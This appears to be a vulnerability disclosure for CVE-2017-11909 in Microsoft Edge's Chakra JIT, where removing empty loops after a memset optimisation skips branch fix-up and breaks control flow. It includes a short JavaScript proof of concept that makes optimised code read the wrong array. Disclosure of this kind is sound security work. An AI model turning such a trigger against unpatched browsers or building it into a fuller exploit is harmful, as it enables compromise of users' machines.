Microsoft Edge: Chakra: JIT: BackwardPass::RemoveEmptyLoopAfterMemOp doesn't insert branches. CVE-2017-11909 The optimizations for memory operations may leave empty loops as follows: for (let i = 0; i < arr.length; i++) { arr[i] = 0; } Becomes: Memset(arr, 0, arr.length); for (let i = 0; i < arr.length; i++) { // empty! } These empty loops will be removed by "BackwardPass::RemoveEmptyLoopAfterMemOp". But this method just removes them without considering branches. Here's what may happen. A: Memset(arr, 0, arr.length); for (let i = 0; i < arr.length; i++) { } goto D; // Actually, this's a "BrGe_I4" instruction in the PoC. C: ... D: ... Becomes: A: Memset(arr, 0, arr.length); C: ... D: ... So, this may break the control flow. PoC: function opt(a, b, always_true = true) { a[0] = 1234; b[0] = 0; let arr = a; if (always_true) { arr = b; for (let i = 0; i < arr.length; i++) arr[i] = 0; } let val = arr[0]; if (val) { print(val); // Must be 0, but prints out 1234 return true; } return false; } let a = new Uint32Array(1); let b = new Uint32Array(0x1000); for (let i = 0; i < 10000; i++) { if (opt(a, b)) { break; } } This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt